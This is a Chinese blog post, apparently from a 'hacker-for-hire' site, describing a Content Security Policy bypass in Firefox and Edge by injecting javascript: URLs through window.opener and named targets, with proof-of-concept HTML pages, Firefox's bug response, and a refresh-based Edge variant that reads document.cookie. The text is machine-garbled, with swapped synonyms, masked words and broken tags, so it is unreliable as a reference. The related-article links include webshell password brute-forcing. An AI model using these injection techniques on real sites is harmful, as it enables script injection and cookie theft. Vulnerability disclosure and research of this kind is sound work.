Firefox与Edge的dom策略导致的csp bypass问题-黑客接单平台

访客5年前黑客工具1118
在2019年对csp研讨过一阵,发现能够经过其他的dom向存在CSP的dom注入javascript协议,来到达绕过CSP的安全防护。 众所周知,CSP(内容安全战略)有两种 *** 来设置,一种是经过浏览器器呼应头,如下: Content-Security-Policy:sc-src 'self' https://apis.google.com 还有一种便是经过标签进行设置,如下: meta http-equiv="Content-Security-Policy" content="sc-src 'none'"> 我发现这存在一个问题,假如某页面设置了CSP,而同源下其他页面不做CSP防护的话,黑客能够使用opener和target目标来对存在CSP的页面做一个进犯。不了解这两个目标的同学能够参阅p牛的target进犯的介绍以及我在17年投稿的那儿文章。 回到正题,以opener为例,为此咱们创立两个进犯文件,go.html与attack.html html> head> title>CSP Testtitle> meta http-equiv="Content-Security-Policy" content="script-src 'none'"> head> body> a href="./attack.html" target="_Blank">csp_let's_goa> script>alert(location.href);script> body> html> html> head> title> csp gotitle> head> body> script>parent.window.opener.location = "javascript:alert(location.href);"script> body> html> 把两个文件放在一个目录下,你会发现,go.html由于设置了CSP,他的 *** 代码不能答应。可是假如在Firefox中点击了csp_let’s_go, *** 就会履行,那是由于Firefox对该目标没有做防护。 而这在Chrome、Edge、Safiri中是不被答应的 便是这样,经过同源战略答应注入js,绕过了CSP的约束,相同的能够使用target来进行,这将分为两个html文件,go.html与target.html html> head>meta charset="utf-8">head> body> a href="./target.html" target="baidu" id="baidu" onclick="return start()">click mea> script> function start() { setInterval(function() { baidu.href="javascript:alert(location.href);"; baidu.click(); }, 5000); } script> body> html> html> head> title>CSP Testtitle> meta http-equiv="Content-Security-Policy" content="script-src 'none'"> head> body> csp bypass body> html> 相同的,这能够绕过火狐的CSP战略 关于这两个缝隙火狐给予了确认,火狐的回复是: On the one hand this is injecting a javascript URL into the other document, which ought to be blocked. On the other hand it’s hard to get too excited because parent.window.opener.alert(location.href) would be perfectly valid — the script is being run by a context that allows it, manipulating a DOM it’s allowed to by the same-origin policy. Edge Bug导致存在相同的问题 发现这个问题是由于在Edge测验如上代码的时分我发现我的系统资源CPU和内存被Edge占用了很高,所以我打开了调试台,看到了如下状况。 go.html一向向target.html抛出javascript协议,可是target由于CSP战略不断回绝,go.html就会将被回绝的恳求从头恳求一次,在加上时刻函数累加上的恳求,这儿成指数增加,导致了系统资源被耗尽。 在这种状况下对页面进行改写,能够绕过CSP: 当然这种状况下要用户自动去改写页面或许对DOM进行操作,咱们能够模仿改写来看到这个Bug: html> head> title>CSP Testtitle> meta http-equiv="Content-Security-Policy" content="script-src 'none'"> head> body> a href="./attack.html" target="_Blank">csp_let's_goa> script>alert(document.cookie);script> meta http-equiv="Refresh" content="1" /> body> html> html> head> title> csp gotitle> head>[1][2]黑客接单网

相关文章

你的PoC和EXP可能得改改了-黑客接单平台

一、前语 在MySQL 5.7.5之前的所有主版别存在一个BUG,该或许导致影响POC/EXP需求从头编写或批改的问题。 BUG信息链接: https://bugs.mysql.com/bug.ph...

新手攻略:DVWA-1.9全等级教程之CSRF

现在,最新的DVWA现已更新到1.9版别(http://www.dvwa.co.uk/),而网上的教程大多停留在旧版别,并且没有针对DVWA high等级的教程,因而萌发了一个编撰新手教程的主意,过错...

秒爆十万字典:奇葩技巧快速枚举“一句话后门”暗码

关于一句话咱们都不生疏,有时会需求爆炸。爆炸的速度和方针的响应速度就有很大的关系了。那假如咱们爆炸的速度能够提高至少1000倍呢? 首要如下图↓ 变量=echo “ok”; 假如这个变量等于暗码的时分...

华为内部web安全规律

Web安全准则 1.认证模块有必要选用防暴力破解机制,例如:验证码或许屡次接连测验登录失利后确定帐号或IP。 阐明:如选用屡次接连测验登录失利后确定帐号或IP的办法,需支撑接连登录失利确定战略的“答...

浅谈RASP技能攻防之根底篇

本文就笔者研讨RASP的进程进行了一些概述,技能干货略少,倾向于遍及RASP技能。中心对java怎么完成rasp技能进行了简略的举例,想对咱们起到抛砖引玉的效果,能够让咱们更好的了解一些关于web运用...